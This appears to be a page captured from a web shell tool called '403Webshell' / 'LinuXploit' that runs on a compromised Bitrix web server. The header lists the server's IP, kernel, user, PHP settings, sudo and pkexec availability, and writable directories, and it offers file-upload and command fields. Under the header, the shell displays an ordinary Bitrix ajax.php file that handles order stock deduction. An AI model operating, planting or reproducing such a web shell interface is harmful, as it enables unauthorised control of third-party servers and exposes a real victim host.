403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/sale.mobile.order.deduction/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/components/bitrix/sale.mobile.order.deduction/ajax.php
<?
define("NO_KEEP_STATISTIC", true);
define('NO_AGENT_CHECK', true);
define("NO_AGENT_STATISTIC", true);
define("NOT_CHECK_PERMISSIONS", true);
define('DisableEventsCheck', true);

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_admin_before.php");

CComponentUtil::__IncludeLang(dirname($_SERVER["SCRIPT_NAME"]), "/ajax.php");

if (!CModule::IncludeModule('sale')) die(GetMessage("SMODE_SALE_NOT_INSTALLED"));
if (!CModule::IncludeModule('mobileapp')) die(GetMessage('SMODE_MOBILEAPP_NOT_INSTALLED'));

$arResult = array();
$arUserGroups = $USER->GetUserGroupArray();

$orderId = isset($_REQUEST['orderId']) ? trim($_REQUEST['orderId']) : 0;
$bUserCanDeductOrder = CSaleOrder::CanUserChangeOrderFlag($orderId, "PERM_DEDUCTION", $arUserGroups);

if($USER->IsAuthorized() && check_bitrix_sessid() && $bUserCanDeductOrder)
{

	$action = isset($_REQUEST['action']) ? trim($_REQUEST['action']): '';

	switch ($action)
	{
		case "order_deduct":

			$deducted = isset($_REQUEST['deducted']) ? trim($_REQUEST['deducted']) : '';
			$useStores = isset($_REQUEST['useStores']) && trim($_REQUEST['useStores']) == 'Y' ? true : false;
			$undoReason = isset($_REQUEST['undoReason']) ? trim($_REQUEST['undoReason']) : '';
			$arProducts = isset($_REQUEST['products']) ? $_REQUEST['products'] : array();
			$arStoreInfo = array();

			foreach ($arProducts as $prodId => $arProduct)
			{
				$arStoresTmp = array();
				if(isset($arProduct["STORES"]) && is_array($arProduct["STORES"]))
				{
					foreach ($arProduct["STORES"] as $arStore)
					{
						if($arProduct["BARCODE_MULTI"] == "N")
						{
							reset($arStore["BARCODE"]);
							$arStore["BARCODE"] = current($arStore["BARCODE"]);
							unset($arStore["BARCODE_FOUND"]);
						}

						if(isset($arStore["QUANTITY"]) && intval($arStore["QUANTITY"]) > 0)
							$arStoresTmp[] = $arStore;
					}
				}
				$arProducts[$prodId]["STORES"] = $arStoresTmp;
				$arStoreInfo[$prodId] = $arStoresTmp;
			}

			if ($deducted == "Y" && $useStores)
			{

				if(!CSaleOrderHelper::checkQuantity($arProducts))
				{
					if ($ex = $APPLICATION->GetException())
					{
							$arResult["ERROR"] = $ex->GetString();
							break;
					}

				}

				//check if barcodes are valid for deduction
				if(!CSaleOrderHelper::checkBarcodes($arProducts))
				{
					if ($ex = $APPLICATION->GetException())
					{
							$arResult["ERROR"] = $ex->GetString();
							break;
					}
				}

			}

			if (!CSaleOrder::DeductOrder($orderId, $deducted, $undoReason, false, $arStoreInfo))
			{
				if ($ex = $APPLICATION->GetException())
				{
					if ($ex->GetID() != "ALREADY_FLAG")
						$arResult["ERROR"] = $ex->GetString();
				}
				else
					$arResult["ERROR"] = GetMessage("SMODE_ERROR_DEDUCT_ORDER");

			}

			break;
	}
}
else
{
	$arResult["ERROR"] = "Access denied!";
}

if(isset($arResult["ERROR"]))
	$arResult["RESULT"] = "ERROR";
else
	$arResult["RESULT"] = "OK";

die(json_encode($arResult));

Youez - 2016 - github.com/yon3zu
LinuXploit